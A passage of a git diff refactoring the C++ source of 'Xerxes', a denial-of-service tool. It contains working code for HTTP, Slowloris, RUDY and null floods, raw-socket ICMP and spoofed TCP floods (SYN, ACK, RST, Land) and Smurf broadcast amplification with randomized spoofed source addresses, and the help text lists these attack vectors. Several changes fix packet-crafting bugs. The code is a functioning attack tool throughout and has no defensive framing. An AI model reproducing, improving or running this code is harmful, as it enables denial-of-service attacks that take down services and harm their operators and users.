Http_Flood::attack_ssl(const int *id) { if(conf->GetResponse){ read_socket(SSLs[x]); } - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - conf->logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + (*conf->req)++; } } - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + (*conf->voly)++; pause(); } } @@ -199,10 +183,10 @@ void Http_Flood::attack_ssl(const int *id) { const SSL_METHOD *Http_Flood::GetMethod() { switch (conf->protocol){ case Config::TCP: - return TLSv1_1_client_method(); + return TLS_client_method(); case Config::UDP: #ifdef DTLS_ANY_VERSION - return DTLSv1_2_client_method(); + return DTLS_client_method(); #else conf->logger->Log("Unable to find DTLS", Logger::Info); exit(EXIT_FAILURE); @@ -212,35 +196,33 @@ const SSL_METHOD *Http_Flood::GetMethod() { } } -void Http_Flood::init_header(std::string& header) { +void Http_Flood::init_header(httphdr *header) { switch (conf->vector){ case Config::UDPFlood: case Config::TCPFlood: - header += Randomizer::randomstr(); + Randomizer::randomstr((std::string&)*header); break; case Config::HTTP:{ - header += Randomizer::random_method() + " /"; + Randomizer::random_method(header->method); if(conf->RandomizeHeader){ - header += Randomizer::randomstr(); + Randomizer::randomstr(header->path); } - header += " HTTP/1.0\r\nUser-Agent: " - + Randomizer::random_useragent(*(conf->useragents)) - +" \r\nCache-Control: " + Randomizer::random_caching() - + " \r\nAccept-Encoding: " + Randomizer::random_encoding() - + " \r\nAccept-Charset: " + Randomizer::random_charset() + ", " + Randomizer::random_charset() - + " \r\nReferer: " + Randomizer::random_referer() - + " \r\nAccept: */*\r\nConnection: Keep-Alive" - + " \r\nContent-Type: " + Randomizer::random_contenttype() - + " \r\nCookie: " + Randomizer::randomstr() + "=" + Randomizer::randomstr() - + " \r\nKeep-Alive: " + std::to_string(Randomizer::randomInt(1, 5000)) - + " \r\nDNT: " + std::to_string(Randomizer::randomInt(0, 1)) - + "\r\n\r\n"; + Randomizer::random_useragent(*(conf->useragents), header->useragent); + Randomizer::random_caching(header->cache_control); + Randomizer::random_encoding(header->encoding); + Randomizer::random_charset(header->charset[0]); + Randomizer::random_charset(header->charset[1]); + Randomizer::random_referer(header->referer); + header->accept = "*/*"; + header->connection_type = "Keep-Alive"; + Randomizer::random_contenttype(header->content_type); + Randomizer::randomstr(header->cookie[0]); + Randomizer::randomstr(header->cookie[1]); + header->keep_alive = Randomizer::randomInt(1, 5000); + header->DNT = Randomizer::randomInt(0, 1); + header->generate(); break; } default:break; } } - -void Http_Flood::init_header(std::string& header, bool) { - -} diff --git a/Sources/ICMP_Flood.cpp b/Sources/ICMP_Flood.cpp index 30fafee..3a8c43b 100755 --- a/Sources/ICMP_Flood.cpp +++ b/Sources/ICMP_Flood.cpp @@ -1,15 +1,13 @@ #include #include -#include #include #include -#include #include "../Headers/ICMP_Flood.hpp" #include "../Headers/Randomizer.hpp" +#include "../Headers/Logging.hpp" -void ICMP_Flood::attack(const int *id) { - int r; +void ICMP_Flood::attack() { std::vector sockets; sockets.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { @@ -31,14 +29,16 @@ void ICMP_Flood::attack(const int *id) { if((hp = gethostbyname(conf->website.c_str())) == nullptr){ if((ip->daddr = inet_addr(conf->website.c_str())) == -1){ - conf->logger->Log("Can't resolve the host", Logger::Error); + print_error("Can't resolve the host"); exit(EXIT_FAILURE); } }else{ bcopy(hp->h_addr_list[0], &ip->daddr, static_cast(hp->h_length)); } if(conf->RandomizeSource){ - if((ip->saddr = inet_addr(Randomizer::randomIP().c_str())) == -1){ + std::string ipaddr{}; + Randomizer::randomIP(ipaddr); + if((ip->saddr = inet_addr(ipaddr.c_str())) == -1){ continue; } }else{ @@ -53,19 +53,14 @@ void ICMP_Flood::attack(const int *id) { icmp->checksum = htons(csum((unsigned short *) buf, (sizeof(struct ip) + sizeof(struct icmphdr)))); - if((r = static_cast(sendto(sockets[x], buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)))) == -1){ + if((static_cast(sendto(sockets[x], buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)))) == -1){ close(sockets[x]); sockets[x] = make_socket(IPPROTO_ICMP); }else{ - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - conf->logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + (*conf->req)++; } } - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + (*conf->voly)++; pause(); } } @@ -86,7 +81,7 @@ void ICMP_Flood::override_headers(icmphdr *icmp, iphdr *ip){ break; case Config::Smurf: icmp->type = ICMP_ECHO; - icmp->type = ICMP_NET_UNREACH; + icmp->code = ICMP_NET_UNREACH; ip->daddr = inet_addr(conf->broadcast.c_str()); ip->saddr = inet_addr(conf->website.c_str()); default:break; @@ -97,20 +92,15 @@ void ICMP_Flood::override_headers(icmphdr *icmp, iphdr *ip){ void ICMP_Flood::init_headers(iphdr *ip, icmphdr *icmp, char *buf) { // IP Struct ip->version = 4; - ip->ihl = 5; + ip->ihl = sizeof(struct iphdr) + sizeof(struct icmphdr) + strlen(buf); ip->tos = 0; - ip->tot_len = htons(sizeof(buf)); + ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr) + strlen(buf); ip->id = static_cast(Randomizer::randomInt(1, 1000)); ip->frag_off = htons(0x0); ip->ttl = 255; ip->protocol = IPPROTO_ICMP; - ip->check = 0; - ip->check = csum((unsigned short *) buf, ip->tot_len); - icmp->type = 0; - icmp->code = 0; icmp->un.echo.sequence = static_cast(Randomizer::randomInt(1, 1000)); icmp->un.echo.id = static_cast(Randomizer::randomInt(1, 1000)); - icmp->checksum = 0; } diff --git a/Sources/Logger.cpp b/Sources/Logger.cpp deleted file mode 100755 index 6e0cd69..0000000 --- a/Sources/Logger.cpp +++ /dev/null @@ -1,43 +0,0 @@ -#include - -#include "../Headers/Logger.hpp" - -#define RED "\x1B[31m" // Color Terminal Red -#define YEL "\x1B[33m" // Color Terminal Yellow -#define GRN "\x1B[32m" // Color Terminal Green -#define RESET "\x1B[0m" // Color Terminal Reset color - -void Logger::Log(std::string *message, Level l) { - if(level >= l){ - switch (l){ - case Level::None: - break; - case Level::Error: - std::cerr << RED << "[ERROR]: " << *message << RESET << std::endl; - break; - case Level::Warning: - std::cout << YEL << "[WARNING]: " << *message << RESET << std::endl; - break; - case Level::Info: - std::cout << GRN << "[INFO]: " << *message << RESET << std::endl; - break; - default: - return; - } - } -} - -void Logger::Log(const char *message, Logger::Level l) { - std::string str = std::string{message}; - Log(&str, l); -} - -Logger::Logger() = default; - -Logger::Logger(Level l): level{l}{ - -} - -void Logger::setLevel(Logger::Level l) { - level = l; -} \ No newline at end of file diff --git a/Sources/Null_Flood.cpp b/Sources/Null_Flood.cpp index e568d2d..24fd6ba 100755 --- a/Sources/Null_Flood.cpp +++ b/Sources/Null_Flood.cpp @@ -1,10 +1,9 @@ #include -#include + #include "../Headers/Null_Flood.hpp" -void Null_Flood::attack(const int *id) { - int r; +void Null_Flood::attack() { std::vector sockets; sockets.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { @@ -12,33 +11,26 @@ void Null_Flood::attack(const int *id) { } int socktype = conf->protocol; while(true) { - static std::string message; for (int x = 0; x < conf->CONNECTIONS; x++) { if(!sockets[x]){ sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), socktype); } - if((r = write_socket(sockets[x],"\0", 1)) == -1){ + if((write_socket(sockets[x],"\0", 1)) == -1){ cleanup(&sockets[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), socktype); }else{ if(conf->GetResponse){ read_socket(sockets[x]); } - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - conf->logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + (*conf->req)++; } } - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + (*conf->voly)++; pause(); } } -void Null_Flood::attack_ssl(const int *id) { - int r; +void Null_Flood::attack_ssl() { std::vector sockets; std::vector CTXs; std::vector SSLs; @@ -52,14 +44,13 @@ void Null_Flood::attack_ssl(const int *id) { CTXs.emplace_back(nullptr); } while(true) { - static std::string message; for (int x = 0; x < conf->CONNECTIONS; x++) { if(!sockets[x]){ sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), socktype); CTXs[x] = InitCTX(); SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); } - if((r = write_socket(SSLs[x], "\0", 1)) == -1){ + if((write_socket(SSLs[x], "\0", 1)) == -1){ cleanup(SSLs[x], &sockets[x], CTXs[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), socktype); CTXs[x] = InitCTX(); @@ -68,15 +59,10 @@ void Null_Flood::attack_ssl(const int *id) { if(conf->GetResponse){ read_socket(SSLs[x]); } - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - conf->logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + (*conf->req)++; } } - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + (*conf->voly)++; pause(); } } diff --git a/Sources/Parser.cpp b/Sources/Parser.cpp index e2cdc47..e0fcfbb 100755 --- a/Sources/Parser.cpp +++ b/Sources/Parser.cpp @@ -1,13 +1,11 @@ #include -#include #include -#include -#include #include "../Headers/Parser.hpp" +#include "../Headers/Logging.hpp" void Parser::help() { - std::string message{"Usage: ./Xerxes -target -port \n" + const char* msg{"Usage: ./Xerxes -target -port \n" "\nOptions:\n" " -h set attack vector to HTTP\n" " -i set attack vector to Spoofed ICMP Flood\n" @@ -35,10 +33,6 @@ void Parser::help() { " -ru randomize HTTP UserAgent\n" " -rs randomize Source IP\n" " -rp randomize Source Port\n" - " -qq set verbosity to quiet quiet\n" - " -q set verbosity to quiet\n" - " -v set verbosity to verbose\n" - " -vv set verbosity to very verbose\n" " -D set delay in microseconds\n" " -T set number of threads\n" " -C set number of connections per thread\n" @@ -48,12 +42,12 @@ void Parser::help() { " -help show help\n" " -version show version\n" }; - std::cout << message << std::endl; + fprintf(stdout, "%s\n", msg); exit(EXIT_SUCCESS); } void Parser::show_banner() { - std::cout << "Xerxes version " << Version << " " << Time << " (Xerxes - Revised)" << std::endl; + fprintf(stdout, "Xerxes version %s %s (Xerxes - Revised)\n", Version, Time); } void Parser::parse_commandline(int argc, const char *argv[]) { @@ -62,15 +56,14 @@ void Parser::parse_commandline(int argc, const char *argv[]) { for(int i = 1; i < argc; i++){ if(arguments[argv[i]]){ if(argv[i+1]){ - std::string next = std::string{argv[i+1]}; + const char *next = argv[i+1]; arguments[argv[i]](next); }else{ - arguments[argv[i]]((std::string&)" "); + arguments[argv[i]](" "); } } } check_root(); - getUserAgents(); } Parser::Parser() = default; @@ -81,86 +74,62 @@ Parser::Parser(std::shared_ptr conf) : conf{std::move(conf)}{ void Parser::check_root() { if(getuid()){ - conf->logger->Log("You need to be root", Logger::Error); + print_error("You need to be root"); exit(EXIT_FAILURE); } } -void Parser::getUserAgents() { - conf->useragents->emplace_back("Wget/1.16 (linux-gnu/Xerxes)"); - std::ifstream filestream("useragents"); - std::string line{}; - if(filestream.good() & filestream.is_open()){ - long count = std::count(std::istreambuf_iterator(filestream), std::istreambuf_iterator(), '\n'); - filestream.clear(); - filestream.seekg(0, std::ios::beg); - conf->useragents->reserve(static_cast(count) +1); - while(getline(filestream, line)){ - conf->useragents->emplace_back(line); - } - filestream.close(); - }else{ - conf->logger->Log("Unable to find useragents file", Logger::Warning); - } -} - void Parser::init_arguments() { // Attack Vector - arguments["-h"] = [&](std::string&){conf->vector = Config::HTTP;conf->protocol = Config::TCP;}; - arguments["-nu"] = [&](std::string&){conf->vector = Config::NullUDP;conf->protocol = Config::UDP;}; - arguments["-nt"] = [&](std::string&){conf->vector = Config::NullTCP;conf->protocol = Config::TCP;}; - arguments["-fu"] = [&](std::string&){conf->vector = Config::UDPFlood;conf->protocol = Config::UDP;}; - arguments["-ft"] = [&](std::string&){conf->vector = Config::TCPFlood;conf->protocol = Config::TCP;}; - arguments["-r"] = [&](std::string&){conf->vector = Config::Rudy;conf->protocol = Config::TCP;conf->delay = 10000000;}; - arguments["-s"] = [&](std::string&){conf->vector = Config::Slowloris;conf->protocol = Config::TCP;conf->delay = 10000000;}; - arguments["-su"] = [&](std::string&){conf->vector = Config::SpoofedUDP;}; - arguments["-sy"] = [&](std::string&){conf->vector = Config::SpoofedSyn;}; - arguments["-sa"] = [&](std::string&){conf->vector = Config::SpoofedAck;}; - arguments["-sr"] = [&](std::string&){conf->vector = Config::SpoofedRST;}; - arguments["-sg"] = [&](std::string&){conf->vector = Config::SpoofedURG;}; - arguments["-sp"] = [&](std::string&){conf->vector = Config::SpoofedPUSH;}; - arguments["-sf"] = [&](std::string&){conf->vector = Config::SpoofedFin;}; - arguments["-i"] = [&](std::string&){conf->vector = Config::ICMPFlood;}; - arguments["-b"] = [&](std::string&){conf->vector = Config::Blacknurse;}; - arguments["-be"] = [&](std::string&){conf->vector = Config::Beast;}; - arguments["-td"] = [&](std::string&){conf->vector = Config::TearDrop;}; - arguments["-ld"] = [&](std::string&){conf->vector = Config::Land;}; - arguments["-sm"] = [&](std::string&){conf->vector = Config::Smurf;}; + arguments["-h"] = [&](const char*){conf->vector = Config::HTTP;conf->protocol = Config::TCP;}; + arguments["-nu"] = [&](const char*){conf->vector = Config::NullUDP;conf->protocol = Config::UDP;}; + arguments["-nt"] = [&](const char*){conf->vector = Config::NullTCP;conf->protocol = Config::TCP;}; + arguments["-fu"] = [&](const char*){conf->vector = Config::UDPFlood;conf->protocol = Config::UDP;}; + arguments["-ft"] = [&](const char*){conf->vector = Config::TCPFlood;conf->protocol = Config::TCP;}; + arguments["-r"] = [&](const char*){conf->vector = Config::Rudy;conf->protocol = Config::TCP;conf->delay = 10000000;}; + arguments["-s"] = [&](const char*){conf->vector = Config::Slowloris;conf->protocol = Config::TCP;conf->delay = 10000000;}; + arguments["-su"] = [&](const char*){conf->vector = Config::SpoofedUDP;}; + arguments["-sy"] = [&](const char*){conf->vector = Config::SpoofedSyn;}; + arguments["-sa"] = [&](const char*){conf->vector = Config::SpoofedAck;}; + arguments["-sr"] = [&](const char*){conf->vector = Config::SpoofedRST;}; + arguments["-sg"] = [&](const char*){conf->vector = Config::SpoofedURG;}; + arguments["-sp"] = [&](const char*){conf->vector = Config::SpoofedPUSH;}; + arguments["-sf"] = [&](const char*){conf->vector = Config::SpoofedFin;}; + arguments["-i"] = [&](const char*){conf->vector = Config::ICMPFlood;}; + arguments["-b"] = [&](const char*){conf->vector = Config::Blacknurse;}; + arguments["-be"] = [&](const char*){conf->vector = Config::Beast;}; + arguments["-td"] = [&](const char*){conf->vector = Config::TearDrop;}; + arguments["-ld"] = [&](const char*){conf->vector = Config::Land;}; + arguments["-sm"] = [&](const char*){conf->vector = Config::Smurf;}; // Randomization - arguments["-ru"] = [&](std::string&){conf->RandomizeUserAgent = true;}; - arguments["-rh"] = [&](std::string&){conf->RandomizeHeader = true;}; - arguments["-rs"] = [&](std::string&){conf->RandomizeSource = true;}; - arguments["-rp"] = [&](std::string&){conf->RandomizePort = true;}; + arguments["-ru"] = [&](const char*){conf->RandomizeUserAgent = true;}; + arguments["-rh"] = [&](const char*){conf->RandomizeHeader = true;}; + arguments["-rs"] = [&](const char*){conf->RandomizeSource = true;}; + arguments["-rp"] = [&](const char*){conf->RandomizePort = true;}; // Other - arguments["-w"] = [&](std::string&){conf->GetResponse = true;}; - arguments["-ss"] = [&](std::string&){conf->UseSSL = true;}; - arguments["-help"] = [&](std::string&){help();}; - arguments["-version"] = [&](std::string&){exit(EXIT_SUCCESS);}; - - // Logging - arguments["-q"] = [&](std::string&){conf->logger->setLevel(Logger::Error);}; - arguments["-qq"] = [&](std::string&){conf->logger->setLevel(Logger::None);}; - arguments["-v"] = [&](std::string&){conf->logger->setLevel(Logger::Warning);}; - arguments["-vv"] = [&](std::string&){conf->logger->setLevel(Logger::Info);}; + arguments["-w"] = [&](const char*){conf->GetResponse = true;}; + arguments["-ss"] = [&](const char*){conf->UseSSL = true;}; + arguments["-help"] = [&](const char*){help();}; + arguments["-version"] = [&](const char*){exit(EXIT_SUCCESS);}; // Configuration - arguments["-target"] = [&](std::string& target){conf->website = static_cast(target);}; - arguments["-port"] = [&](std::string& port){conf->port = static_cast(port);}; - arguments["-T"] = [&](std::string& thread){ - if(Validator::isValidNumber(thread.c_str())){ - conf->THREADS = static_cast(strtol(thread.c_str(), nullptr, 10)); + arguments["-target"] = [&](const char* target){conf->website = static_cast(target);}; + arguments["-port"] = [&](const char* port){conf->port = static_cast(port);}; + arguments["-T"] = [&](const char* thread){ + if(Validator::isValidNumber(thread)){ + conf->THREADS = static_cast(strtol(thread, nullptr, 10)); } }; - arguments["-C"] = [&](std::string& connections){ - if(Validator::isValidNumber(connections.c_str())){ - conf->CONNECTIONS = static_cast(strtol(connections.c_str(), nullptr, 10)); + arguments["-C"] = [&](const char* connections){ + if(Validator::isValidNumber(connections)){ + conf->CONNECTIONS = static_cast(strtol(connections, nullptr, 10)); } }; - arguments["-D"] = [&](std::string& delay){ - if(Validator::isValidNumber(delay.c_str())){ - conf->delay = static_cast(strtol(delay.c_str(), nullptr, 10));} + arguments["-D"] = [&](const char* delay){ + if(Validator::isValidNumber(delay)){ + conf->delay = static_cast(strtol(delay, nullptr, 10));} }; - arguments["-B"] = [&](std::string& broadcast){conf->broadcast = static_cast(broadcast);}; + arguments["-B"] = [&](const char* broadcast){conf->broadcast = static_cast(broadcast);}; } diff --git a/Sources/Slowloris.cpp b/Sources/Slowloris.cpp index 192b7f4..5c817c1 100755 --- a/Sources/Slowloris.cpp +++ b/Sources/Slowloris.cpp @@ -1,98 +1,76 @@ #include -#include -#include #include #include "../Headers/Slowloris.hpp" -void Slowloris::attack(const int *id) { - int r; +void Slowloris::attack() { std::vector sockets; - std::vector keep_alive; sockets.reserve(static_cast(conf->CONNECTIONS)); - keep_alive.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { sockets.emplace_back(0); - keep_alive.emplace_back(false); } while(true) { - static std::string message; for (int x = 0; x < conf->CONNECTIONS; x++) { + httphdr header{}; if(!sockets[x]){ sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), SOCK_STREAM); - keep_alive[x] = false; + init_header(&header); } - std::string header{}; - init_header(header, keep_alive[x]); - if((r = write_socket(sockets[x], header.c_str(), static_cast(header.length()))) == -1){ + + if((write_socket(sockets[x], header.get(), static_cast(header.length()))) == -1){ cleanup(&sockets[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), SOCK_STREAM); - keep_alive[x] = false; + init_header(&header); }else{ - keep_alive[x] = true; + Randomizer::randomstr((std::string&)*(&header)); if(conf->GetResponse){ read_socket(sockets[x]); } - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - conf->logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + (*conf->req)++; } } - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + (*conf->voly)++; pause(); } } -void Slowloris::attack_ssl(const int *id) { - int r; +void Slowloris::attack_ssl() { std::vector sockets; std::vector CTXs; std::vector SSLs; - std::vector keep_alive; sockets.reserve(static_cast(conf->CONNECTIONS)); CTXs.reserve(static_cast(conf->CONNECTIONS)); SSLs.reserve(static_cast(conf->CONNECTIONS)); - keep_alive.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { sockets.emplace_back(0); SSLs.emplace_back(nullptr); CTXs.emplace_back(nullptr); - keep_alive.emplace_back(false); } while(true) { - static std::string message; for (int x = 0; x < conf->CONNECTIONS; x++) { + httphdr header{}; if(!sockets[x]){ sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), SOCK_STREAM); CTXs[x] = InitCTX(); SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); - keep_alive[x] = false; + init_header(&header); } - std::string header{}; - init_header(header, keep_alive[x]); - if((r = write_socket(SSLs[x], header.c_str(), static_cast(header.length()))) == -1){ + + if((write_socket(SSLs[x], header.get(), static_cast(header.length()))) == -1){ cleanup(SSLs[x], &sockets[x], CTXs[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), SOCK_STREAM); CTXs[x] = InitCTX(); SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); - keep_alive[x] = false; + init_header(&header); }else{ - keep_alive[x] = true; + Randomizer::randomstr((std::string&)*(&header)); if(conf->GetResponse){ read_socket(SSLs[x]); } - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - conf->logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + (*conf->req)++; } } - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + (*conf->voly)++; pause(); } } @@ -101,58 +79,36 @@ Slowloris::Slowloris(std::shared_ptr conf) : Http_Flood(std::move(conf)) } -void Slowloris::init_header(std::string& header, bool keep_alive) { +void Slowloris::init_header(httphdr *header) { + switch (conf->vector){ - case Config::Slowloris:{ - if(keep_alive){ - header += "X-a: " - + std::to_string(Randomizer::randomInt(1, 5000)) - + " \r\n"; - }else{ - header += Randomizer::random_method() + " /"; - if(conf->RandomizeHeader){ - header += Randomizer::randomstr(); - } - header += " HTTP/1.0\r\nUser-Agent: " - + Randomizer::random_useragent(*(conf->useragents)) - + " \r\nCache-Control: " + Randomizer::random_caching() - + " \r\nAccept-Encoding: " + Randomizer::random_encoding() - + " \r\nAccept-Charset: " + Randomizer::random_charset() + ", " + Randomizer::random_charset() - + " \r\nReferer: " + Randomizer::random_referer() - + " \r\nContent-Type: " + Randomizer::random_contenttype() - + " \r\nCookie: " + Randomizer::randomstr() + "=" + Randomizer::randomstr() - + " \r\nAccept: */*" - + " \r\nDNT: " + std::to_string(Randomizer::randomInt(0, 1)) - + " \r\nX-a: " + std::to_string(Randomizer::randomInt(1, 5000)) - + " \r\n"; - } + case Config::Slowloris: + Randomizer::random_method(header->method); break; - } - case Config::Rudy:{ - if(keep_alive){ - header += Randomizer::randomstr(); - }else{ - header += "POST /"; - if(conf->RandomizeHeader){ - header += Randomizer::randomstr(); - } - header += " HTTP/1.0\r\nUser-Agent: " - + Randomizer::random_useragent(*(conf->useragents)) - + " \r\nCache-Control: " + Randomizer::random_caching() - + " \r\nAccept-Encoding: " + Randomizer::random_encoding() - + " \r\nAccept-Charset: " + Randomizer::random_charset() + ", " + Randomizer::random_charset() - + " \r\nReferer: " + Randomizer::random_referer() - + " \r\nContent-Type: " + Randomizer::random_contenttype() - + " \r\nContent-Length: " + std::to_string(Randomizer::randomInt(100000000, 1000000000)) - + " \r\nCookie: " + Randomizer::randomstr() + "=" + Randomizer::randomstr() - + " \r\nAccept: */*" - + " \r\nDNT: " + std::to_string(Randomizer::randomInt(0, 1)) - + " \r\nX-a: " + std::to_string(Randomizer::randomInt(1, 5000)) - + " \r\n"; - } + case Config::Rudy: + header->method = "POST"; + header->content_length = Randomizer::randomInt(100000000, 1000000000); break; - } default:break; } + if(conf->RandomizeHeader){ + Randomizer::randomstr(header->path); + } + Randomizer::random_useragent(*(conf->useragents), header->useragent); + Randomizer::random_caching(header->cache_control); + Randomizer::random_encoding(header->encoding); + Randomizer::random_charset(header->charset[0]); + Randomizer::random_charset(header->charset[1]); + Randomizer::random_referer(header->referer); + header->accept = "*/*"; + header->connection_type = "Keep-Alive"; + Randomizer::random_contenttype(header->content_type); + Randomizer::randomstr(header->cookie[0]); + Randomizer::randomstr(header->cookie[1]); + header->keep_alive = Randomizer::randomInt(1, 5000); + header->DNT = Randomizer::randomInt(0, 1); + + header->generate_unterminated(); + } diff --git a/Sources/Spoofed_Flood.cpp b/Sources/Spoofed_Flood.cpp index 8258380..c4dc536 100755 --- a/Sources/Spoofed_Flood.cpp +++ b/Sources/Spoofed_Flood.cpp @@ -1,6 +1,7 @@ #include -#include + #include "../Headers/Spoofed_Flood.hpp" +#include "../Headers/Logging.hpp" Spoofed_Flood::Spoofed_Flood(std::shared_ptr conf) : Attack_Vector(std::move(conf)){ @@ -19,13 +20,19 @@ unsigned short Spoofed_Flood::csum(unsigned short *buf, int len) { int Spoofed_Flood::make_socket(int protocol) { int sock, on = 1; if((sock = socket(AF_INET, SOCK_RAW, protocol)) == -1){ - conf->logger->Log("socket() error", Logger::Error); + print_error("socket() error"); exit(EXIT_FAILURE); } if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1){ - conf->logger->Log("setsockopt() error", Logger::Error); + print_error("setsockopt() error"); exit(EXIT_FAILURE); } + + if(setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (const char*)&on, sizeof (on)) == -1){ + print_error("setsockopt() error"); + exit(EXIT_FAILURE); + } + return sock; } diff --git a/Sources/Spoofed_TCP_Flood.cpp b/Sources/Spoofed_TCP_Flood.cpp index 8e42920..2bb3de8 100755 --- a/Sources/Spoofed_TCP_Flood.cpp +++ b/Sources/Spoofed_TCP_Flood.cpp @@ -1,22 +1,18 @@ #include #include #include -#include -#include #include -#include -#include + #include "../Headers/Randomizer.hpp" #include "../Headers/Spoofed_TCP_Flood.hpp" +#include "../Headers/Logging.hpp" -void Spoofed_TCP_Flood::attack(const int *id) { - int r; +void Spoofed_TCP_Flood::attack() { std::vector sockets; sockets.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { sockets.emplace_back(0); } - std::string message{}; char buf[8192], *pseudogram; struct pseudo_header psh{}; auto *ip = (struct iphdr *) buf; @@ -32,14 +28,16 @@ void Spoofed_TCP_Flood::attack(const int *id) { if((hp = gethostbyname(conf->website.c_str())) == nullptr){ if((ip->daddr = inet_addr(conf->website.c_str())) == -1){ - conf->logger->Log("Can't resolve the host", Logger::Error); + print_error("Can't resolve the host"); exit(EXIT_FAILURE); } }else{ bcopy(hp->h_addr_list[0], &ip->daddr, static_cast(hp->h_length)); } if(conf->RandomizeSource){ - if((ip->saddr = inet_addr(Randomizer::randomIP().c_str())) == -1){ + std::string ipaddr{}; + Randomizer::randomIP(ipaddr); + if((ip->saddr = inet_addr(ipaddr.c_str())) == -1){ continue; } }else{ @@ -64,24 +62,18 @@ void Spoofed_TCP_Flood::attack(const int *id) { memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header)); memcpy(pseudogram + sizeof(struct pseudo_header) , tcp , sizeof(struct tcphdr) + strlen(buf)); - tcp->check = csum( (unsigned short*) pseudogram , psize); + tcp->th_sum = csum( (unsigned short*) pseudogram , psize); - if((r = static_cast(sendto(sockets[x], buf, ip->tot_len, 0, (sockaddr*)&dst, sizeof(struct sockaddr_in)))) == -1){ + if((static_cast(sendto(sockets[x], buf, ip->tot_len, 0, (sockaddr*)&dst, sizeof(struct sockaddr_in)))) == -1){ close(sockets[x]); sockets[x] = make_socket(IPPROTO_TCP); }else{ - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - conf->logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + (*conf->req)++; } - delete pseudogram; } - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + (*conf->voly)++; pause(); } } @@ -93,7 +85,7 @@ Spoofed_TCP_Flood::Spoofed_TCP_Flood(std::shared_ptr conf) : Spoofed_Flo void Spoofed_TCP_Flood::override_headers(tcphdr *tcp, iphdr *ip){ switch (conf->vector){ case Config::SpoofedSyn: - tcp->th_flags += TH_SYN; + tcp->th_flags = TH_SYN; break; case Config::SpoofedAck: tcp->th_flags = TH_ACK; @@ -113,7 +105,7 @@ void Spoofed_TCP_Flood::override_headers(tcphdr *tcp, iphdr *ip){ case Config::Land: tcp->th_flags = TH_SYN; ip->saddr = ip->daddr; - tcp->source = tcp->dest; + tcp->th_sport = tcp->th_dport; default:break; } } @@ -121,7 +113,7 @@ void Spoofed_TCP_Flood::override_headers(tcphdr *tcp, iphdr *ip){ void Spoofed_TCP_Flood::init_headers(iphdr *ip, tcphdr *tcp, char *buf) { auto s_port = conf->RandomizePort ? Randomizer::randomPort() : 0; // IP Struct - ip->ihl = 5; + ip->ihl = sizeof(struct iphdr)/4; ip->version = 4; ip->tos = 16; ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(buf); @@ -129,16 +121,13 @@ void Spoofed_TCP_Flood::init_headers(iphdr *ip, tcphdr *tcp, char *buf) { ip->frag_off = htons(0x0); ip->ttl = 255; ip->protocol = IPPROTO_TCP; - ip->check = 0; - ip->check = csum((unsigned short *) buf, ip->tot_len); // TCP Struct - tcp->source = htons(static_cast(s_port)); - tcp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); - tcp->seq = 0; - tcp->doff = 5; //tcp header size - tcp->window = htons (5840); - tcp->check = 0; - tcp->th_flags = 0; + tcp->th_sport = htons(static_cast(s_port)); + tcp->th_dport = 